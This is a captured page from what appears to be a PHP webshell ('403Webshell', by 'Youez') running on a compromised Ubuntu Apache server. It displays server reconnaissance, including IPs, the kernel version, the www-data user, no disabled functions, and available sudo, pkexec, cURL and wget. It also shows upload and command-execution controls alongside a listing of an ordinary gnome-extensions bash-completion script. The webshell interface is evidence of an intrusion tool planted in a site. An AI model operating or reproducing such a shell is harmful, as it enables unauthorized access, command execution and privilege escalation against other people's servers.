403Webshell
Server IP : 104.21.84.107  /  Your IP : 104.23.243.197
Web Server : Apache/2.4.63 (Ubuntu)
System : Linux adminpruebas-Virtual-Machine 6.14.0-37-generic #37-Ubuntu SMP PREEMPT_DYNAMIC Fri Nov 14 22:10:32 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 8.4.5
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/bash-completion/completions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/bash-completion/completions/gnome-extensions
# Check for bash
[ -z "$BASH_VERSION" ] && return

################################################################################

__gnome_extensions() {
  local commands="version enable disable reset info install show list create pack prefs uninstall"
  local COMMAND=${COMP_WORDS[1]}

  _init_completion -s || return

  case "${COMP_CWORD}" in
    1)
      COMPREPLY=($(compgen -W "help $commands" -- "$2"))
      return 0
      ;;

    2)
      case "$COMMAND" in
        help)
          COMPREPLY=($(compgen -W "$commands" -- "$2"))
          return 0
          ;;

        disable)
          local list_opt=--enabled
          ;;&
        enable)
          local list_opt=--disabled
          ;;&
        prefs)
          local list_opt=--prefs
          ;;&
        uninstall)
          local list_opt=--user
          ;;&
        enable|disable|info|show|prefs|reset|uninstall)
          COMPREPLY=($(compgen -W "`gnome-extensions list $list_opt`" -- "$2"))
          return 0
          ;;
      esac
      ;;
  esac

  case "$COMMAND" in
    create)
      case "$prev" in
        --template)
          COMPREPLY=($(compgen -W "`gnome-extensions create --list-templates`" -- "$2"))
          return 0
          ;;
      esac
      ;;
    pack)
      case "$prev" in
        --podir|--out-dir|-o)
          _filedir -d
          return 0
          ;;
        --schema)
          _filedir gschema.xml
          return 0
          ;;
        --extra-source)
          _filedir
          return 0
          ;;
      esac
      ;;
    install)
      if [[ $cur != -* ]]
      then
          _filedir zip
          return 0
      fi
      ;;
  esac

  # Stop if we are currently waiting for an option value
  $split && return

  # Otherwise, get the supported options for ${COMMAND} (if any)
  COMPREPLY=($(compgen -W "$(_parse_help $1 "help $COMMAND")" -- "$2"))
  [[ $COMPREPLY == *= ]] && compopt -o nospace
  return 0
}

################################################################################

complete -F __gnome_extensions gnome-extensions

Youez - 2016 - github.com/yon3zu
LinuXploit